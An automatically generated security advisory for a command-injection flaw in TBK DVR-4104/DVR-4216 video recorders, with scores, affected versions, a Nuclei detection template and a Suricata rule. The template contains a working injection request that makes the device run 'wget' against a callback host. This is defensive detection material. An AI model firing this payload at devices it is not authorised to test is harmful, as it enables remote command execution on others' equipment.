CVE-2024-3721: TBK DVR-4104 advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A vulnerability was found in TBK DVR-4104 and DVR-4216 up to 20240412 and classified as critical. This issue affects some unknown processing of the file /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___. The manipulation of the argument mdb/mdc leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-260573 was assigned to this vulnerability.

Description quoted from the CVE record (assigned by VulDB, published 2024-04-13).

Weakness: CWE-78 OS Command Injection

How it can be exploited

Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality low, integrity low, availability low. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 8 code repositories and 1 research write-up naming this CVE.

Kaspersky Securelist analysis

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 13 references on Exploit Observer

Live scores

EPSS: 0.865
very likely to be attacked soon
VEDAS: 0.990
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
TBK DVR-4104	version 20240412	Not stated
TBK DVR-4216	version 20240412	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

TBK DVR-4104/DVR-4216 - OS Command Injection
TBK DVR-4104 and DVR-4216 devices (firmware up to 20240412) expose the endpoint /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___ which passes the mdb/mdc request parameters to a shell without sanitisation, allowing an unauthenticated remote attacker to execute arbitrary OS commands as root. This template proves the injection out-of-band by making the device fetch a unique interactsh URL; no state is changed on the target.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20/t...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-3721.yaml

Show the template (41 lines)

yaml

id: CVE-2024-3721

info:
  name: "TBK DVR-4104/DVR-4216 - OS Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    TBK DVR-4104 and DVR-4216 devices (firmware up to 20240412) expose the endpoint
    /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___ which passes the mdb/mdc request
    parameters to a shell without sanitisation, allowing an unauthenticated remote
    attacker to execute arbitrary OS commands as root. This template proves the
    injection out-of-band by making the device fetch a unique interactsh URL; no
    state is changed on the target.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-3721&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=tbk&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3721
    cwe-id: CWE-78
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2024,tbk,dvr,rce,oast,iot

http:
  - raw:
      - |
        GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20/tmp;wget%20http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

CVE-2024-3721.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-3721 TBK DVR-4104/DVR-4216 - OS Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-3721 TBK DVR-4104/DVR-4216 - OS Command Injection"; flow:established,to_server; http.uri; content:"/device.rsp"; nocase; content:"___S_O_S_T_R_E_A_MAX___"; nocase; fast_pattern; content:"mdc="; nocase; classtype:web-application-attack; reference:cve,CVE-2024-3721; reference:url,https://www.exploit.observer/?keyword=CVE-2024-3721&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=tbk&match=exact; sid:1106007; rev:1;)

CVE-2024-3721.rules on GitHub

Advisories on this CVE

“ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.